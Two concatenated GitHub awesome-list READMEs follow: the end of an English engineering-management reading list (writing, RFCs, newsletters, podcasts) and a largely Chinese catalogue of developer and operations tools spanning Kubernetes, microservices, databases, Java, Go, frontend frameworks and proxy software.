style](http://www.novelr.com/2008/08/16/vonnegut-how-to-write-with-style), Kurt Vonnegut. - [A blogging style guide](https://robertheaton.com/2018/12/06/a-blogging-style-guide/) - [How Jeff Bezos turned narrative into Amazon's Competitive Advantage](https://slab.com/blog/jeff-bezos-writing-management-strategy/) - [Writing is Thinking: Learning to Write with Confidence](https://blog.stephsmith.io/learning-to-write-with-confidence/) - Paul Graham, [How to Write Usefully](http://paulgraham.com/useful.html) - Useful writing tells people something true and important that they didn't already know, and tells them as unequivocally as possible. - Translated into essay writing, what this means is that if you write a bad sentence, you don't publish it. You delete it and try again. Often you abandon whole branches of four or five paragraphs. Sometimes a whole essay. - Importance + novelty + correctness + strength, is the recipe for a good essay - [Encouraging a Culture of Written Communication](https://www.mcls.io/blog/encouraging-a-culture-of-written-communication) - Easy to Search. Single Source of Truth. - Balancing Async and Synchronous Communication - Thinking Out Loud - [Scaling Engineering Teams via Writing Things Down and Sharing - aka RFCs](https://blog.pragmaticengineer.com/scaling-engineering-teams-via-writing-things-down-rfcs/), Gergely Orosz - Do planning before building something new. - If everyone agrees how the project should be done then writing the approach down should be a piece of cake. - The type of information pushed to people in an organization shapes the culture considerably. - [Lightweight RFC Process](https://cwiki.apache.org/confluence/display/GEODE/Lightweight+RFC+Process), Apache Software Foundation - [6 Lessons I learned while implementing technical RFCs as a decision making tool](https://buriti.ca/6-lessons-i-learned-while-implementing-technical-rfcs-as-a-management-tool-34687dbf46cb) - [Design Docs at Google](https://www.industrialempathy.com/posts/design-docs-at-google/) - [How to Write Something Compelling](https://letter.substack.com/p/write-like-naval?utm_source=url) - If you want to design something attractive, you have to add an axis to your creative process. You have to make the ideas simple and universal at the same time. ## Other sources ### Other lists - 🧰 [92bondstreet/cto](https://github.com/92bondstreet/cto): a curated list of CTO resources - 🧰 [mateusz-brainhub/awesome-cto-resources](https://github.com/mateusz-brainhub/awesome-cto-resources): a community-curated list of awesome resources to help you grow as a CTO - [kuchin/awesome-cto](https://github.com/kuchin/awesome-cto) - [ryanburgess/engineer-manager](https://github.com/ryanburgess/engineer-manager) ### Movies - 🎞 [Moneyball](<https://en.wikipedia.org/wiki/Moneyball_(film)>). [What's the problem?](https://www.youtube.com/watch?v=HiB9L3dG-Aw) - 🎞 [Office Space](https://en.wikipedia.org/wiki/Office_Space) - 🎞 [The Pursuit of Happyness](https://en.wikipedia.org/wiki/The_Pursuit_of_Happyness) contains some great lessons about hustle. [Watch the interview scene](https://www.youtube.com/watch?v=gHXKitKAT1E). ### TV Shows Netflix's [Chef's table](https://en.wikipedia.org/wiki/Chef%27s_Table) profiles a couple world-renown chef. The kitchen world bears a lot of similarities with management. In the season two, I especially recommend episode 1 and 3: - [Alex Atala](https://en.wikipedia.org/wiki/Alex_Atala)'s story shows that you need to constantly reinvent and disrupt yourself. - [Dominique Crenn](http://www.ateliercrenn.com/) explains how she was given ownership over her work in her first kitchen experience (where she was basically given just a dish name, a list of ingredients, and was expected to invent the recipe with no kitchen training). She replicated that in her own kitchen. The Office is a great satire of a dysfunctioning office. ## Keeping up-to-date: blogs and newsletters Here are some blogs and newsletter I follow. ### Newsletter - [Software Lead Weekly](http://softwareleadweekly.com/) (Oren Ellenbogen): a short curation of great management articles. Also include some videos, and some less serious, funny material. A lot of the links founds in this repo appeared in Oren's weekly email. - [HBR's Management Tip of the Day](https://hbr.org/email-newsletters) - [Tech People Leadership](http://newsletter.techpeopleleadership.com/) (Joe Dunn): Links, notes and opinions for leaders in the tech industry. - [CTO Insights](https://insights.toshotrajanov.com/) (Tosho Trajanov): Weekly readings on software engineering & technical leadership. ### Blogs - [Hacker News](https://news.ycombinator.com/): mandatory if you want to stay abreast of what's going in tech. There are some good management articles from time to time as well. Since it can be a pretty huge time sink, I subscribe to a curation of the top articles instead ([RSS feed here](http://www.daemonology.net/hn-daily/index.rss)). ### Podcast - [FRICTION with Bob Sutton](https://art19.com/shows/friction-with-bob-sutton?page=3). This podcast does not have any new episode since 2017, but it has some really great content. Great conversations. Lots of stories. - Part organizational design. Part therapy. Organizational psychologist and Stanford Professor Bob Sutton is back to tackle friction, the phenomenon that frustrates employees, fatigues teams and causes organizations to flounder and fail. ## My other lists - [engineering-management](https://github.com/charlax/engineering-management/) - [entrepreneurship-resources](https://github.com/charlax/entrepreneurship-resources) - [professional-programming](https://github.com/charlax/professional-programming) - [python-education](https://github.com/charlax/python-education)

<div align="center"> <img width="500" height="350" src="media/logo.svg" alt="Awesome"> </div> <p align="center"> <a href="awesome.md">What is an awesome list?</a>&nbsp;&nbsp;&nbsp; <a href="contributing.md">Contribution guide</a>&nbsp;&nbsp;&nbsp; <a href="create-list.md">Creating a list</a>&nbsp;&nbsp;&nbsp; </p> > 开发过程中发现或使用的工具、经验、坑 ## 开发运维工具 - [HTTP(S) benchmark tools, testing/debugging, & restAPI (RESTful)](https://github.com/denji/awesome-http-benchmark) - [HTTP 测试工具wrk](https://github.com/wg/wrk) - [YAPI-API管理测试](https://github.com/YMFE/yapi) - [readthedoc 文档管理](https://github.com/readthedocs/readthedocs.org) - [easy-mock-数据模拟](https://github.com/easy-mock/easy-mock) - [request builder](https://github.com/hoppscotch/hoppscotch) - [slack-alternative](https://github.com/mattermost/mattermost-server) - developed in golang and react - [launch4j](http://launch4j.sourceforge.net/) - Cross-platform Java executable wrapper - [gradle plugin](https://github.com/TheBoegl/gradle-launch4j) - [Project Lombok automatically plugs into your editor and build tools](https://github.com/rzwitserloot/lombok) - [ Mysql sql审核平台](https://github.com/cookieY/Yearning) - [专业运维审计系统](https://github.com/jumpserver/jumpserver) - [fastest wiki](https://github.com/outline/outline) - [Netdata is distributed, real-time performance and health monitoring for systems and applications](https://github.com/netdata/netdata) - [Unified monitoring wallboard — Light, ergonomic and reliable monitoring for anything](https://github.com/monitoror/monitoror) - [自动化运维平台](https://github.com/openspug/spug) - [load testing tool, using Go and JavaScript](https://github.com/loadimpact/k6) - [idea 插件] - [Lombok] - [A tool for secrets management, encryption as a service, and privileged access management](https://github.com/hashicorp/vault) - [一站式的开源企业级持续测试平台](https://github.com/metersphere/metersphere) - [后端接口和文档自动化，前端(客户端) 定制返回 JSON 的数据和结构](https://github.com/Tencent/APIJSON) - [a fast, scalable, multi-language and extensible build system](https://github.com/bazelbuild/bazel) - [Ghidra is a software reverse engineering (SRE) framework:软件逆向工程](https://github.com/NationalSecurityAgency/ghidra) - [java 开发工具集合](https://github.com/looly/hutool) - [java apm](https://github.com/apache/skywalking) - [a fast, scalable, multi-language and extensible build system](https://github.com/bazelbuild/bazel) - [web hook] - [a lightweight incoming webhook server to run shell commands](https://github.com/adnanh/webhook) - [Turn any program that uses STDIN/STDOUT into a WebSocket server](https://github.com/joewalnes/websocketd) - [letsencrypt for nginx](https://github.com/nginx-proxy/acme-companion) - [文档网站：类似看云](https://github.com/docsifyjs/docsify/) - [txt 转 UML](https://github.com/plantuml/plantuml) - [nginx 管理GUI](https://github.com/onlyGuo/nginx-gui) - [NGINX config generator on steroids](https://github.com/digitalocean/nginxconfig.io) - [Connect APIs, remarkably fast. Free for developers](https://github.com/PipedreamHQ/pipedream) - [Mattermost is an open source platform for secure collaboration across the entire software development lifecycle.](https://github.com/mattermost/mattermost-server) - [A simple and elegant markdown editor, available for Linux, macOS and Windows](https://github.com/marktext/marktext) - [A fancy self-hosted monitoring tool](https://github.com/louislam/uptime-kuma) - [OpenAPI Generator allows generation of API client libraries (SDK generation), server stubs, documentation and configuration automatically given an OpenAPI Spec](https://github.com/OpenAPITools/openapi-generator) - [Open Source Identity and Access Management For Modern Applications and Services](https://github.com/keycloak/keycloak) - [DoKit:一款面向泛前端产品研发全生命周期的效率平台](https://github.com/didi/DoKit) - [Alibaba Java Coding Guidelines pmd implements and IDE plugin](https://github.com/alibaba/p3c) - [Terraform是一个开源的自动化基础设施配置管理工具。它可以通过代码的方式管理基础设施的配置](https://github.com/hashicorp/terraform) - [As the leading open source Customer Data Platform (CDP),数据收集](https://github.com/rudderlabs/rudder-server) ## Kubernetes - [istio](https://github.com/istio/istio) - Connect, secure, control, and observe services - [kiali](https://github.com/kiali/kiali) - observability for the Istio service mesh - [An Envoy-Powered API Gateway](https://github.com/solo-io/gloo) - [podman home](https://github.com/containers/libpod) - container in pod - [A service mesh for Kubernetes and beyond: linkerd](https://github.com/linkerd/linkerd2) - [k8s 本地运行代码](https://github.com/telepresenceio/telepresence) - [A toolkit for Integrating with your kubernetes dev environment more efficiently](https://github.com/alibaba/kt-connect) - [部署和管理生产级别的 Kubernetes 集群](https://github.com/KubeOperator/KubeOperator) - [Kubernetes container platform tailored for multi-cloud and multi-cluster management](https://github.com/kubesphere/kubesphere) - [Deploy a Production Ready Kubernetes Cluster](https://github.com/kubernetes-sigs/kubespray) - [Kubernetes Operations (kops) - Production Grade K8s Installation, Upgrades, and Management](https://github.com/kubernetes/kops) - [Kubernetes-based, scale-to-zero, request-driven compute](https://github.com/knative/serving) - [Kubernetes as a Service](https://github.com/oneinfra/oneinfra) - [logs](https://github.com/grafana/loki) - [The GitOps Kubernetes operator](https://github.com/fluxcd/flux) - [Customization of kubernetes YAML configurations](https://github.com/kubernetes-sigs/kustomize) - [kubernetes IDE](https://github.com/lensapp/lens) - [kustomize lets you customize raw, template-free YAML files for multiple purposes](https://github.com/kubernetes-sigs/kustomize/) - [k9s cli k8s 集群管理工具](https://github.com/derailed/k9s) - [KubeVela:A Highly Extensible Platform Engine based on Kubernetes and Open Application Model.](https://github.com/oam-dev/kubevela) - [Kuboard 是基于 Kubernetes 的微服务管理界面](https://github.com/eip-work/kuboard-press) - [Kubernetes IN Docker - local clusters for testing Kubernetes](https://github.com/kubernetes-sigs/kind/) - [一条命令离线安装高可用kubernetes](https://github.com/fanux/sealos) - [Complete container management platform](https://github.com/rancher/rancher) - [Kubernetes中文指南/云原生应用架构实践手册 -](https://github.com/rootsongjc/kubernetes-handbook) - [OpenFaaS - Serverless Functions Made Simple](https://github.com/openfaas/faas) ## Serverless - [Secure and fast microVMs for serverless computing](https://github.com/firecracker-microvm/firecracker) ## Docker - [The lazier way to manage everything docker](https://github.com/jesseduffield/lazydocker) - [ELK Docker](https://github.com/sherifabdlnaby/elastdocker) - [azure for china](https://github.com/Azure/container-service-for-azure-china) - [Visual Docker Container Managemen](https://github.com/docker/kitematic) - [docker slim](https://github.com/docker-slim/docker-slim) - [Vulnerability Static Analysis for Containers](https://github.com/quay/clair) - [A tool that facilitates building OCI images](https://github.com/containers/buildah) - [Drone is a Container-Native, Continuous Delivery Platform](https://github.com/drone/drone) ## 系统架构 - [System design interview for IT companies](https://github.com/checkcheckzz/system-design-interview) - [IT基础架构编排工具](https://github.com/hashicorp/terraform) - [基础设施即代码：Pulumi - Modern Infrastructure as Code. Any cloud, any language](https://github.com/pulumi/pulumi) ## 微服务生态 - [traefik](https://github.com/containous/traefik) - The Cloud Native Edge Router writed in go - [携程框架部门研发的分布式配置中心](https://github.com/ctripcorp/apollo) - [腾讯 TARS 框架服务的运维管理平台](https://gitee.com/TarsCloud/TarsWeb) - [zipkin: 分布式跟踪系统](https://github.com/openzipkin/zipkin) - [Netty - an event-driven asynchronous network application framework](https://github.com/netty/netty) - [MVEL (MVFLEX Expression Language)](https://github.com/mvel/mvel) - [A tool for secrets management, encryption as a service, and privileged access management](https://github.com/hashicorp/vault) - [distributed, highly available, and data center ](https://github.com/hashicorp/consul) - [Spring Cloud Alibaba provides a one-stop solution for application development for the distributed solutions of Alibaba middleware.](https://github.com/alibaba/spring-cloud-alibaba) - [Seata is an easy-to-use, high-performance, open source distributed transaction solution](https://github.com/seata/seata) - [监视和诊断基于微服务的分布式系统](https://github.com/jaegertracing/jaeger) - [golang web + rpc framework for microservices](https://github.com/tal-tech/go-zero) - [skywalking 微服务性能 监控](https://github.com/apache/skywalking) - [High-Performance Java API Gateway: Soul](https://github.com/apache/incubator-shenyu) - [Dapr is a portable, event-driven, runtime for building distributed applications across cloud and edge](https://github.com/dapr/dapr) - [Sample cloud-native application with 10 microservices showcasing Kubernetes, Istio, gRPC and OpenCensus.](https://github.com/GoogleCloudPlatform/microservices-demo) - [Nomad is an easy-to-use, flexible, and performant workload orchestrator that can deploy a mix of microservice, batch, containerized, and non-containerized applications](https://github.com/hashicorp/nomad) - [Apache ShenYu is a Java native API Gateway for service proxy, protocol conversion and API governance](https://github.com/apache/shenyu) - [Conductor is a platform created by Netflix to orchestrate workflows that span across microservices.](https://github.com/Netflix/conductor) - [Open Source Identity and Access Management For Modern Applications and Services](https://github.com/keycloak/keycloak) ## Domain-driven design (DDD) and Event - [highly concurrent, distributed, and resilient message-driven applications on the JVM](https://github.com/akka/akka) - [Framework for Evolutionary Event-Driven Microservices on the JVM](https://github.com/AxonFramework/AxonFramework) ## 性能相关 - [OpenResty - Turning Nginx into a Full-Fledged Scriptable Web Platform](https://github.com/openresty/openresty) ## IAAS - [Pulumi - Modern Infrastructure as Code. Any cloud, any language](https://github.com/pulumi/pulumi) ## Low-Code Platform - [ABP:Open Source Web Application Framework for ASP.NET Core](https://github.com/abpframework/abp) - [Skyve is an open-source low-code platform that gives you access to all of the key capabilities needed to build sophisticated, robust and scalable cloud solutions.](https://github.com/skyvers/skyve) - [Budibase is a low-code platform for creating internal apps, workflows, and admin panels in minutes. Supports PostgreSQL, MySQL, MSSQL, MongoDB, Rest API, Docker, K8s, and more](https://github.com/Budibase/budibase) - [Free and open fair-code licensed node based Workflow Automation Tool. Easily automate tasks across different services.](https://github.com/n8n-io/n8n) - [阿里：一套面向扩展设计的企业级低代码技术体系](https://github.com/alibaba/lowcode-engine) - [国内低代码平台从业者交流](https://github.com/taowen/awesome-lowcode) ## 日志收集 - [支持Springboot，基于注解的可使用变量、可以自定义函数的通用操作日志组件](https://github.com/mouzt/mzt-biz-log) - [指标收集:The plugin-driven server agent for collecting & reporting metrics](https://github.com/influxdata/telegraf) ## Kafka 相关 - [debezium-CDC](https://github.com/debezium/debezium) - [strimzi-kafka-operator](https://github.com/strimzi/strimzi-kafka-operator) Apache Kafka running on Kubernetes - [Apache NiFi](https://github.com/apache/nifi) - powerful, and reliable system to process and distribute data - [A real-time applications and data operation (DataOps) portal for Apache Kafka and Kubernetes](https://github.com/lensesio) - [Apache RocketMQ](https://github.com/apache/rocketmq) - [Streaming reference architecture for ETL with Kafka and Kafka-Connect](https://github.com/lensesio/stream-reactor) - [KnowStreaming:一站式云原生Kafka管控平台](https://github.com/didi/knowstreaming) - [Kafka Consumer Lag Checking](https://github.com/linkedin/Burrow) ## Flink 相关 - [Ververica - Original Creators of Apache Flink (R)](https://github.com/ververica) - [基于flink的数据同步](https://github.com/DTStack/flinkx) - [基于Flink实现的商品实时推荐系统](https://github.com/CheckChe0803/flink-recommandSystem-demo) ## Redis 相关 - [fast redis proxy](https://github.com/twitter/twemproxy) - [java redis client](https://github.com/lettuce-io/lettuce-core) - [Redis Java client with features of In-Memory Data Grid](https://github.com/redisson/redisson) - [RedisJSON - a JSON data type for Redis](https://github.com/RedisJSON/RedisJSON) ## Graphql 相关 - [graphql-engine](https://github.com/hasura/graphql-engine) - instant realtime GraphQL APIs on Postgres with fine grained access control, also trigger webhooks on database events - [example](https://www.smashingmagazine.com/2019/03/realtime-charts-graphql-postgres/) - [Native GraphQL Database with graph backend](https://github.com/dgraph-io/dgraph) ## Message - [A realtime distributed messaging platform](https://github.com/nsqio/nsq) ## JVM运行期工具 - [Arthas诊断利器](https://github.com/alibaba/arthas) - [Bistoury](https://github.com/qunarcorp/bistoury) - Bistoury是去哪儿网的java应用生产问题诊断工具 - [druid](https://github.com/alibaba/druid) - 巴巴数据库事业部出品，为监控而生的数据库连接池 ## 数据库、分布存储相关 - [MongoDB REST API](https://github.com/SoftInstigate/restheart) - [Postgresql Rest API](https://github.com/PostgREST/postgrest) - [Starter Kit and tooling for authoring REST API backends with PostgREST](https://github.com/subzerocloud/postgrest-starter-kit) - [postgres 推荐配置](https://github.com/le0pard/pgtune) - [MySQLTuner-perl](https://github.com/major/MySQLTuner-perl) - [ceph](https://github.com/ceph/ceph) - distributed object, block, and file storage platform - [rook](https://github.com/rook/rook) - Storage Orchestration for Kubernetes - [The simplest, fastest way to get business intelligence and analytics to everyone in your company](https://github.com/metabase/metabase) - [High-performance MySQL proxy](https://github.com/sysown/proxysql) - [阿里巴巴 MySQL binlog 增量订阅&消费组件](https://github.com/alibaba/canal) - [Version control for your database](https://github.com/flyway/flyway) - [小米：SQL Optimizer And Rewriter](https://github.com/XiaoMi/soar) - [Apache Druid: a high performance real-time analytics database](https://github.com/apache/druid/) - [Free universal database tool and SQL client](https://github.com/dbeaver/dbeaver) - [Greenplum Database (GPDB) is an advanced, fully featured, open source data warehouse, based on PostgreSQL](https://github.com/greenplum-db/gpdb) - [postgres 数据库相关](https://github.com/postgres/postgres) - [pg_stat_statements extension](https://github.com/kirs/pg_web_stats) - [Vitess is a database clustering system for horizontal scaling of MySQL](https://github.com/vitessio/vitess) - [Production PostgreSQL for Kubernetes, from high availability Postgres clusters to full-scale database-as-a-service.](https://github.com/CrunchyData/postgres-operator) - [Open Source Airtable Alternative - turns any MySQL, Postgres, SQLite into a Spreadsheet with REST APIs.](https://github.com/nocodb/nocodb) ## 数据中台 - [Apache Superset is a Data Visualization and Data Exploration Platform](https://github.com/apache/superset) - [数据可视化](https://github.com/edp963/davinci) - [一款免费的数据可视化工具，报表与大屏设计](https://github.com/zhangdaiscott/JimuReport) - [DataX集成可视化页面](https://github.com/WeiYe-Jing/datax-web) - [The simplest, fastest way to get business intelligence and analytics to everyone in your company](https://github.com/metabase/metabase) - [Make Your Company Data Driven. Connect to any data source, easily visualize, dashboard and share your data](https://github.com/getredash/redash) - [ClickHouse is a free analytics DBMS for big data](https://github.com/ClickHouse/ClickHouse) - [Open-Source Data Platform — Directus wraps your new or existing SQL database with a realtime](https://github.com/directus/directus) - [数据同步](https://github.com/airbytehq/airbyte) - [阿里巴巴离线数据同步](https://github.com/alibaba/DataX) - [The official home of the Presto distributed SQL query engine for big data](https://github.com/prestodb/presto) - [Apache Beam is a unified programming model for Batch and Streaming](https://github.com/apache/beam) - [Official repository of Trino, the distributed SQL query engine for big data, formerly known as PrestoSQL](https://github.com/trinodb/trino) - [The Metadata Platform for the Modern Data Stack](https://github.com/datahub-project/datahub) - [Apache NiFi is an easy to use, powerful, and reliable system to process and distribute data](https://github.com/apache/nifi) - [Kestra is an infinitely scalable orchestration and scheduling platform, creating, running, scheduling, and monitoring millions of complex pipelines](https://github.com/kestra-io/kestra) - [dbt enables data analysts and engineers to transform their data using the same practices that software engineers use to build applications.](https://github.com/dbt-labs/dbt-core) - [人人可用的开源数据可视化分析工具](https://github.com/dataease/dataease) - [Open Standard for Metadata. A Single place to Discover, Collaborate and Get your data right](https://github.com/open-metadata/OpenMetadata) - [SeaTunnel is a distributed, high-performance data integration platform for the synchronization and transformation of massive data (offline & real-time)](https://github.com/apache/incubator-seatunnel) ## Metric 数据收集 - [The plugin-driven server agent for collecting & reporting metrics.](https://github.com/influxdata/telegraf) ## Api Server - [Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js](https://github.com/parse-community/parse-server) - [Open-source Back-end, self-hostable & ready to use - Real-time, storage, advanced search - Web, Apps, Mobile, IoT](https://github.com/kuzzleio/kuzzle) - [Appwrite is a secure end-to-end backend server for Web, Mobile, and Flutter developers](https://github.com/appwrite/appwrite) - [an open source Firebase alternative. We're building the features of Firebase using enterprise-grade open source tools](https://github.com/supabase/supabase) ## Google - [Google-相似技术和服务的查询表](https://github.com/jhuangtw-dev/xg2xg) ## Google Productions - [code review](https://github.com/GerritCodeReview/gerrit) - [Data Transfer Project](https://github.com/google/data-transfer-project) ## 阿里 - [阿里集成测试平台](https://github.com/alibaba/intelligent-test-platform) - [动态服务发现、配置管理和服务管理平台](https://github.com/alibaba/nacos) - [面向云原生微服务的高可用流控防护组件](https://github.com/alibaba/Sentinel) - [一套面向扩展设计的企业级低代码技术体系](https://github.com/alibaba/lowcode-engine) ## Java - [All Algorithms implemented in Java](https://github.com/TheAlgorithms/Java) - [camel 规则引擎](https://github.com/apache/camel) - [drools](https://github.com/kiegroup/drools) - [droolsjbpm](https://github.com/kiegroup/droolsjbpm-build-bootstrap) - [秒杀实现](https://github.com/qiurunze123/miaosha) - [快速、简单避免OOM的java处理Excel工具](https://github.com/alibaba/easyexcel) - [An powerful enhanced toolkit of MyBatis for simplify development](https://github.com/baomidou/mybatis-plus) - [SaaS型微服务快速开发平台](https://github.com/zuihou/zuihou-admin-cloud) - [EL-ADMIN 后台管理系统](https://github.com/elunez/eladmin) - [JEECG BOOT 低代码开发平台](https://github.com/zhangdaiscott/jeecg-boot) - [中文Java不错项目](https://github.com/Snailclimb/awesome-java) - [分布式任务调度平台XXL-JOB](https://github.com/xuxueli/xxl-job) - [JHipster is a development platform](https://github.com/jhipster/generator-jhipster) - [轻量级业务中台开发框架，中台架构的顶层设计和完整解决方案](https://github.com/funkygao/cp-ddd-framework) - [easy rules](https://github.com/j-easy/easy-rules) - [轻量即时通讯](https://gitee.com/xchao/j-im) - [service proxy: soap to rest](https://github.com/membrane/service-proxy) - [功能最全的Java权限认证框架](https://github.com/dromara/sa-token) - [Apache Wicket - Component-based Java web framework](https://github.com/apache/wicket) - [企业单点登录全集Enterprise Single Sign On for all earthlings and beyond](https://github.com/apereo/cas) - [文件文档在线预览](https://github.com/kekingcn/kkFileView) - [Java后端架构师必修](https://github.com/xingshaocheng/architect-awesome) - [An annotation processor for generating type-safe bean mappers](https://github.com/mapstruct/mapstruct) - [从源码层面，剖析挖掘互联网行业主流技术的底层实现原理，为广大开发者 “提升技术深度” 提供便利。目前开放 Spring 全家桶，Mybatis、Netty、Dubbo 框架，及 Redis、Tomcat 中间件等](https://github.com/doocs/source-code-hunter) - [JSON to JSON transformation library written in Java](https://github.com/bazaarvoice/jolt) - [PowerJob（原OhMyScheduler）是全新一代分布式调度与计算框架，能让您轻松完成作业的调度与繁杂任务的分布式计算](https://github.com/PowerJob/PowerJob) ## Go - [caddy](https://github.com/caddyserver/caddy) - Fast, cross-platform HTTP/2 web server with automatic HTTPS - [fasthttp](https://github.com/valyala/fasthttp) - net/http alternate - [golang project layout](https://github.com/golang-standards/project-layout) - [a dataviz tool for golang developer](https://github.com/chenhg5/go-admin) - [oauth2](https://github.com/golang/oauth2) - [go-oauth2-server](https://github.com/RichardKnop/go-oauth2-server) - [go oauth2](https://github.com/go-oauth2/oauth2) - [portable, event-driven, runtime for building distributed applications across cloud and edge](https://github.com/dapr/dapr) - [go-admin](https://github.com/GoAdminGroup/go-admin) - [go mod 代理](https://github.com/goproxy/goproxy.cn) - [oauth server](https://github.com/ory/hydra) - [Generate type safe Go from SQL](https://github.com/kyleconroy/sqlc) - [minio 文件服务器](https://github.com/minio/minio) - [支持多家云存储的云盘系统](https://github.com/cloudreve/Cloudreve) - [七天入门](https://github.com/geektutu/7days-golang) - [SeaweedFS is a simple and highly scalable distributed file system, to store and serve billions of files fast!](https://github.com/chrislusf/seaweedfs) - [The world’s fastest framework for building websites](https://github.com/gohugoio/hugo) - [casbin权限库](https://github.com/casbin/casbin) - [Open Source Continuous File Synchronization](https://github.com/syncthing/syncthing) - [golang 算法](https://github.com/greyireland/algorithm-pattern) - [An open source re-implementation of Diablo 2](https://github.com/OpenDiablo2/OpenDiablo2) - [Kratos是bilibili开源的一套Go微服务框架，包含大量微服务相关框架及工具](https://github.com/go-kratos/kratos) - [工作流引擎、动态表单](https://github.com/lanyulei/ferry) - [Scalable datastore for metrics, events, and real-time analytics](https://github.com/influxdata/influxdb) - [表达式计算](https://github.com/antonmedv/expr) - [Express inspired web framework written in Go](https://github.com/gofiber/fiber) - [tinode chat](https://github.com/tinode/chat) - [Fast, secure, efficient backup program](https://github.com/restic/restic) - [An entity framework for Go](https://github.com/ent/ent) - [network scan](https://github.com/v-byte-cpu/sx) - [self-hosted git server](https://github.com/go-gitea/gitea) - [The Single Sign-On Multi-Factor portal for web apps](https://github.com/authelia/authelia) - [GO Simple Tunnel - a simple tunnel written in golang](https://github.com/ginuerzh/gost) - [GoFrame是一款模块化、高性能、企业级的Go基础开发框架](https://github.com/gogf/gf) - [A Docker-powered stateless API for PDF files](https://github.com/gotenberg/gotenberg) - [Fast and simple video download library and CLI tool written in Go](https://github.com/iawia002/annie) - [unioffice is a library for creation of Office Open XML documents (.docx, .xlsx and .pptx)](https://github.com/unidoc/unioffice) - [Machinery is an asynchronous task queue/job queue based on distributed message passing](https://github.com/RichardKnop/machinery) - [Information gathering & OSINT framework for phone numbers](https://github.com/sundowndev/phoneinfoga) ## .Net - [运行期Debug: dySpy](https://github.com/0xd4d/dnSpy) - [cross-platform framework for building distributed applications with .NET](https://github.com/dotnet/orleans) - [A high-performance, extensible, modular and cross-platform workflow engine](https://github.com/aelassas/Wexflow) - [WebWindows](https://github.com/SteveSandersonMS/WebWindow) - [dynamic execute scripts](https://github.com/dotnet/roslyn) - [ASP.NET Boilerplate - Web Application Framework](https://github.com/aspnetboilerplate/aspnetboilerplate) - [maui](https://github.com/dotnet/maui) ## 规则 - [Expression language for Go](https://github.com/antonmedv/expr) - [drools](https://github.com/kiegroup/drools) - [droolsjbpm](https://github.com/kiegroup/droolsjbpm-build-bootstrap) ## Web - [State machines and statecharts for the modern web.](https://github.com/statelyai/xstate) ## 微信 - [微信机器人](https://github.com/youfou/wxpy) ## APP 相关 - [一款功能齐全的客户端（ iOS 、Android、微信小程序 ）研发助手](https://github.com/didi/DoraemonKit) - [F-Droid 是一个对 Android 平台自由开源软件 (FOSS) 充满热情的机器人](https://f-droid.org/zh_Hans/packages/) - [flutter](https://github.com/flutter/flutter) - [非常漂亮的flutter模板](https://github.com/mitesh77/Best-Flutter-UI-Templates) - [flutter 学习资源](https://github.com/londonappbrewery/Flutter-Course-Resources) - [Basic Flutter apps, for flutter devs.](https://github.com/iampawan/FlutterExampleApps) - [一款功能齐全的客户端（ iOS 、Android、微信小程序 ）研发助手](https://github.com/didi/DoraemonKit) - [Dex to Java decompiler](https://github.com/skylot/jadx) - [uni-app 是使用 Vue 语法开发小程序、H5、App的统一框架](https://github.com/dcloudio/uni-app) ## 内网穿透 - [frp](https://github.com/fatedier/frp) - [nps](https://github.com/cnlh/nps) - [clash: A rule-based tunnel in Go.](https://github.com/Dreamacro/clash) ## 前端相关 - [Relay](https://github.com/facebook/relay) - building data-driven applications - [JavaScript 算法与数据结构](https://github.com/trekhleb/javascript-algorithms) - [多端统一开发框架](https://github.com/NervJS/taro) - [VvvebJs](https://github.com/givanz/VvvebJs) - Drag and drop website builder javascript library - [vue-design](https://github.com/L-Chris/vue-design) - Be the best website visualization builder with Vue and Electron. - [D3.js](https://github.com/d3/d3) - Bring data to life with SVG, Canvas and HTML - [react](https://github.com/facebook/react) - [A UI Design Language and React UI library](https://github.com/ant-design/ant-design) - [Next.js](https://github.com/zeit/next.js) - react server render framework - [Predictable state container for JavaScript apps](https://github.com/reduxjs/redux) - [vue 购物车](https://github.com/bailicangdu/vue2-elm) - [The tiny framework for building web interfaces](https://github.com/jorgebucaran/hyperapp) - [Dart](https://github.com/dart-lang/sdk) - [flutter](https://github.com/flutter/flutter) - [dynamic forms](https://github.com/topics/dynamic-forms) - [ngx-formly](https://github.com/ngx-formly/ngx-formly) - [ng-dynamic-forms](https://github.com/udos86/ng-dynamic-forms) - [Vue的表单设计器](https://github.com/GavinZhuLei/vue-form-making) - [angular](https://github.com/angular/angular) - [Customizable admin dashboard template based on Angular 9+](https://github.com/akveo/ngx-admin) - [team communications](https://github.com/RocketChat/Rocket.Chat) - [Slack-alternative in Golang and React](https://github.com/mattermost/mattermost-server) - [An elegant dashboard](https://github.com/d2-projects/d2-admin) - [ Pluggable enterprise-level react application framework](https://github.com/umijs/umi) - [ UI component dev & test: React, Vue, Angular, React Native, Ember, Web Components & more! ](https://github.com/storybookjs/storybook) - [A secure JavaScript and TypeScript runtime ](https://github.com/denoland/deno) - [基于vue的后台管理系统](https://github.com/lin-xin/vue-manage-system) - [A pure JavaScript CORS alternative,No need server config](https://github.com/jpillora/xdomain) - [Svelte is a new way to build web applications](https://github.com/sveltejs/svelte) - [A high quality UI Toolkit built on Vue.js 2.0](https://github.com/iview/iview) - [High performance JavaScript templating engine](https://github.com/aui/art-template) - [A modern JavaScript utility library delivering modularity, performance, & extras:lodash](https://github.com/lodash/lodash)https://github.com/denoland/deno - [A secure JavaScript and TypeScript runtime https://deno.land/](https://github.com/denoland/deno) - [vue-element-admin 是一个后台前端解决方案](https://github.com/PanJiaChen/vue-element-admin) - ["The mother of all demo apps" — Exemplary fullstack Medium.com clone powered by React, Angular, Node, Django, and many more ](https://github.com/gothinkster/realworld) - [Open source Node.js Headless CMS to easily build customisable APIs](https://github.com/strapi/strapi) - [open-source electronics platform](https://github.com/arduino/Arduino) - [Karma: Spectacular Test Runner for JavaScript](https://github.com/karma-runner/karma) - [一款现代化的开源博客/CMS系统:halo](https://github.com/halo-dev/halo) ## 自由上网 - [v2ray](https://github.com/v2ray/v2ray-core) - [带web界面的一键安装](https://github.com/FunctionClub/V2ray.Fun) - [233boy -键安装](https://github.com/google-wall/v2ray) - [multi-v2ray](https://github.com/Jrohy/multi-v2ray) - [v2rayui for mac](https://github.com/yanue/V2rayU) - [v2rayx for mac](https://github.com/Cenmrev/V2RayX) - [bbr](https://github.com/teddysun/across) - [免费帐号](https://github.com/max2max/freess) - [google mirror by nginx](https://github.com/cuber/ngx_http_google_filter_module) - [chromeGo](https://github.com/bannedbook/fanqiang) ## 学习资料 - [free programming-books](https://github.com/EbookFoundation/free-programming-books) - [network-programming with golang](https://github.com/tumregels/Network-Programming-with-Go) - [RealWorld Demo App](https://github.com/gothinkster/realworld) 